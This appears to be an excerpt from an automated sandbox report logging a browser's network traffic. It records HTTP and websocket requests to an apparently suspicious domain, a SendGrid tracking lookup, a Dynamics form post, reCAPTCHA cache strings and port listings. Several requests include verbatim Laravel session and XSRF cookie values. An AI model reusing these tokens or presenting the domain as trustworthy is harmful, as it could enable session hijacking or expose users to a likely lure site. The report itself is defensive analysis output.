Source: global traffic	HTTP traffic detected: GET /uv6N4AFPttA1rsB4OrhISLW7u68mn9vUiv3nGs2KGxWywnndfrLnMDhNBKWNovufref260 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3DSec-WebSocket-Key: a7QOHEJpPh5pHVWluHZ54A==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3DSec-WebSocket-Key: sIEii/csLMqpx0gA7z7n3A==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3DSec-WebSocket-Key: TVVeDAGLEyldFZxAWAziaw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3DSec-WebSocket-Key: mMst3Bzbq9lleYoOa3ocBg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3DSec-WebSocket-Key: eZi7OBO+iyttvSE0/F0zDg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: unknown

DNS traffic detected: queries for: u44056869.ct.sendgrid.net

Source: unknown

HTTP traffic detected: POST /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveContent-Length: 153sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://assets-usa.mkt.dynamics.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Apr 2024 19:53:22 GMTContent-Type: text/htmlContent-Length: 548Connection: closeStrict-Transport-Security: max-age=2592000; preloadx-azure-ref: 20240423T195322Z-16f56cb894ff7nzt0vygeuawx8000000018g00000000gvvqx-fd-int-roxy-purgeid: 69077000X-Cache: TCP_MISS
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 23 Apr 2024 19:53:24 GMTContent-Length: 0Connection: closex-ms-trace-id: 16a973ba10837465f1b2d0a16aa27262Strict-Transport-Security: max-age=2592000; preload
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Apr 2024 19:53:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HuGAIXqQUHUwoTYEVZ%2FLXVAHfKcrKLZho2oWL0hdPyB1xFXQKec8fDnsXSoBen%2FANSad0as%2Be%2FJL41ZAJLMLZek3%2FbwBkF45GMNcZomG6tN9WvynUFWaQKraFvhQ3A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: HITAge: 284Server: cloudflareCF-RAY: 879066b659d5138b-ATL
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Apr 2024 19:54:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aAQBgCXr2ciYWWLO%2BKMYF%2FzADHFbp%2FPmWWOO%2F5FoyHQZTpxR3tugX7jNwxxVqC61Inhpmx%2FBoCwR1IZFHc64BJjMfEcFxQp9z3lWEWvvLN3s9fuieNNVA8qbx9RQYA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 879067491afa6745-ATL
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Apr 2024 19:54:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bncf2I3IsdN2ZPcdTXyH%2FPuL0lXg3sDyyVoz5dsfdtlq8ucXsQYBcZ8nWgbesNgeJBV28bstElE%2BlFtlfI9kBm62mb4dofYyCF6QVb6HuaLj%2F6xUpCrej8%2Fd6%2FvtWA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8790675fcadc7bd5-ATL

Source: chromecache_126.2.dr, chromecache_122.2.dr, chromecache_101.2.dr	String found in binary or memory: https://O5u7G.zleu9.com/O5u7Gw/
Source: chromecache_120.2.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3
Source: chromecache_126.2.dr, chromecache_122.2.dr, chromecache_101.2.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ec
Source: chromecache_119.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_119.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_120.2.dr	String found in binary or memory: https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js
Source: chromecache_119.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_119.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_119.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_119.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_120.2.dr	String found in binary or memory: https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpagefo
Source: chromecache_119.2.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_119.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_119.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_119.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_119.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_119.2.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_115.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_119.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.
Source: chromecache_115.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
